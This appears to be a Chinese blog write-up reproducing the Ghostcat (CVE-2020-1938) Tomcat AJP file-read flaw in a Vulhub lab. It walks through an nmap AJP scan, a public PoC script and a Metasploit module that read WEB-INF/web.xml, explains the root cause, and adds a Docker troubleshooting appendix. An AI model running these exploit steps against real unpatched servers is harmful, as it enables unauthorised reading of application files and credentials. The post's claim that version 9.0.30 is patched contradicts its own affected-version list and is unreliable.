Apache Tomcat AJP 文件包含漏洞(CVE-2020-1938 / 幽灵猫)复现

本文详细介绍了 Apache Tomcat 历史上最严重的漏洞之一:幽灵猫(Ghostcat, CVE-2020-1938) 的复现过程。该漏洞存在于 Tomcat 默认开启的 AJP 协议(定向包协议)中,其核心缺陷在于 AJP 协议对请求的处理过于“信任”,导致攻击者可以伪造请求参数,实现对服务器任意文件的读取或包含。

漏洞基础信息

项目 详情
漏洞编号 CVE-2020-1938、CNVD-2020-10487
漏洞等级 超危(CVSS 评分:9.8)
影响版本 Apache Tomcat 6.x、7.x(< 7.0.100)、8.x(< 8.5.51)、9.x(< 9.0.31)(未修复 AJP 协议漏洞的版本)
漏洞类型 文件包含(任意文件读取 / 远程代码执行)

漏洞复现

复现环境准备

使用vulhub快速搭建漏洞环境:

# 安装Docker和docker-compose
apt install docker.io docker-compose

# 将 Vulhub 项目克隆到本地
git clone https://github.com/vulhub/vulhub.git

# 拉取镜像并启动容器
cd vulhub/tomcat/CVE-2020-1938 
docker-compose up -d

# 确认容器启动状态
docker ps

CONTAINER ID   IMAGE                  COMMAND             CREATED         STATUS         PORTS                                                                                  NAMES
26a632f74c40   vulhub/tomcat:9.0.30   "catalina.sh run"   3 minutes ago   Up 3 minutes   0.0.0.0:8009->8009/tcp, :::8009->8009/tcp, 0.0.0.0:8080->8080/tcp, :::8080->8080/tcp   cve-2020-1938-tomcat-1

注:如果启动容器后执行docker ps发现容器并没有如预期启动,很有可能是容器/宿主机内存不足、文件描述符限制过低导致 JVM 崩溃。需要给容器分配足够内存(1G 以上)、调整 JVM 堆内存参数、提升宿主机文件描述符限制。详情可参见附录

访问target-IP:8080确认容器正常启动。

tomcat

目标探测

# 使用 Nmap 官方 AJP 漏洞扫描脚本
nmap --script ajp-methods,ajp-brute,ajp-request -p 8009 target-IP

# 扫描结果
PORT     STATE SERVICE
8009/tcp open  ajp13
| ajp-methods: 
|_  Supported methods: GET HEAD POST OPTIONS
| ajp-request: 
| AJP/1.3 200 200
| ...
| ajp-brute: 
|_  URL does not require authentication
MAC Address: 00:0C:29:B3:23:74 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.71 seconds

ajp-brute: URL does not require authentication:AJP 服务无需认证即可访问。CVE-2020-1938 的核心成因就是 Tomcat 的 AJP 协议默认开启且无认证(或使用弱密钥),导致攻击者可通过 AJP 协议读取服务器任意文件或包含恶意文件。

攻击过程

使用漏洞利用脚本

Vulhub自带了POC,基于CNVD-2020-10487-Tomcat-Ajp-lfi改进而来。

# 使用CNVD-2020-10487-Tomcat-Ajp-lfi
执行脚本,读取 web.xml(替换为你的服务器 IP)
git clone https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi.git
cd CNVD-2020-10487-Tomcat-Ajp-lfi
python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py -p 8009 -f/WEB-INF/web.xml target-IP

注意使用的python2而不是python3,若使用python3则需进行以下修改

self.stream = self.socket.makefile("rb", bufsize=0)

修改为:

self.stream = self.socket.makefile("rb", buffering=0)

使用Vulhub自带的poc.py

python2 poc.py target-IP -p 8009 -f /WEB-INF/web.xml

成功返回结果:

读取成功

使用Metasploit/MSF

# 启动 MSF 交互控制台
msfconsole

# 搜索可用模块
msf > search cve-2020-1938

Matching Modules
================
   #  Name                                  Disclosure Date  Rank    Check  Description
   -  ----                                  ---------------  ----    -----  -----------
   0  auxiliary/admin/http/tomcat_ghostcat  2020-02-20       normal  Yes    Apache Tomcat AJP File Read

msf > use 0
msf auxiliary(admin/http/tomcat_ghostcat) > set RHOST 192.168.31.148
RHOST => 192.168.31.148
# msf中默认的filename值为/WEB-INF/web.xml
msf auxiliary(admin/http/tomcat_ghostcat) > set filename /WEB-INF/web.xml
filename => /WEB-INF/web.xml
msf auxiliary(admin/http/tomcat_ghostcat) > run
msf读取成功

靶机中对应的路径实际上是/usr/local/tomcat/webapps/ROOT/WEB-INF/web.xml,也就是说,利用该漏洞只能读取到/usr/local/tomcat/webapps/ROOT/下的文件。靶机的Tomcat版本为9.0.30,该版本的 Tomcat 对 AJP 协议做了核心修复,严格限制了路径跳转(../)、上下文隔离,封堵了所有跨 Web 应用目录读取系统文件的方式。

漏洞核心原理

Tomcat默认在server.xml中开启AJP协议端口(默认8009),用于与其他Web服务器(如Apache HTTPD)通信。由于AJP协议在处理请求时未对用户输入充分验证,攻击者可通过构造恶意请求操控以下三个关键属性:

  • javax.servlet.include.request_uri
  • javax.servlet.include.path_info
  • javax.servlet.include.servlet_path 通过控制这些属性,攻击者可读取或包含webapp目录下的任意文件(如WEB-INF/web.xml、源代码等),甚至结合文件上传功能实现远程代码执行(RCE)

附录

容器启动失败解决方案

定位原因

执行docker-compose up -d后发现容器并没有按照预期正常启动,docker-compose logs查看日志:

tomcat-1  | # A fatal error has been detected by the Java Runtime Environment:
tomcat-1  | #
tomcat-1  | #  SIGSEGV (0xb) at pc=0x00007f9ca649a611, pid=1, tid=0x00007f9ca5385700 <-- 崩溃类型+地址+进程/线程ID
tomcat-1  | #
tomcat-1  | # JRE version: OpenJDK Runtime Environment (8.0_242-b08) (build 1.8.0_242-b08)  <-- JRE版本
tomcat-1  | # Java VM: OpenJDK 64-Bit Server VM (25.242-b08 mixed mode linux-amd64 compressed oops) <-- VM信息
tomcat-1  | # Problematic frame:    <-- 核心出错帧
tomcat-1  | # C  [libc.so.6+0x22611]  abort+0x1fd
tomcat-1  | #
tomcat-1  | # Core dump written. Default location: /usr/local/tomcat/core or core.1 <-- 核心转储路径
tomcat-1  | #
tomcat-1  | # An error report file with more information is saved as:   <-- 错误日志路径
tomcat-1  | # /usr/local/tomcat/hs_err_pid1.log
tomcat-1  | #
tomcat-1  | # If you would like to submit a bug report, please visit:
tomcat-1  | #   http://bugreport.java.com/bugreport/crash.jsp
tomcat-1  | # The crash happened outside the Java Virtual Machine in native code.   <-- 崩溃位置(原生代码)
tomcat-1  | # See problematic frame for where to report the bug.    <-- 具体原因
tomcat-1  | #
tomcat-1  | library initialization failed - unable to allocate file descriptor table - out of memory#   <-- 具体原因

关键提示:library initialization failed - unable to allocate file descriptor table - out of memory(库初始化失败 – 无法分配文件描述符表 – 内存不足)。

JVM 崩溃的本质是容器/宿主机资源不足(内存不足、文件描述符限制过低),导致 JVM 无法完成初始化,触发段错误(SIGSEGV)。

首先确认宿主机本身是否有足够的内存 / 资源,执行以下命令查看:

# 查看宿主机内存使用情况(重点看free列的可用内存)
free -h

# 查看宿主机文件描述符当前限制
ulimit -n

如果宿主机可用内存(free)小于 1G,必须先关闭其他占用内存的程序(比如其他容器、无用服务),否则再怎么配置容器都没用;如果ulimit -n返回值小于 10240,说明宿主机文件描述符限制过低,也需要修改。

修复问题

修改 vulhub/tomcat/CVE-2020-1938/docker-compose.yml 为以下完整配置:

services:
  tomcat:
    image: vulhub/tomcat:8.5.50
    container_name: tomcat-1
    ports:
      - "8080:8080"
      - "8009:8009"
    # 兼容所有docker版本的内存限制
    mem_limit: 1024m       # 容器最大可用内存1G
    mem_reservation: 512m  # 容器预留内存512M
    # 调整JVM参数
    environment:
      - JAVA_OPTS=-Xms128m -Xmx256m -XX:+HeapDumpOnOutOfMemoryError
    # 提升容器内部文件描述符限制
    ulimits:
      nofile:
        soft: 65535
        hard: 65535

注意缩进,缩进错误可能会导致报错:

yaml: line 5: did not find expected '-' indicator
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇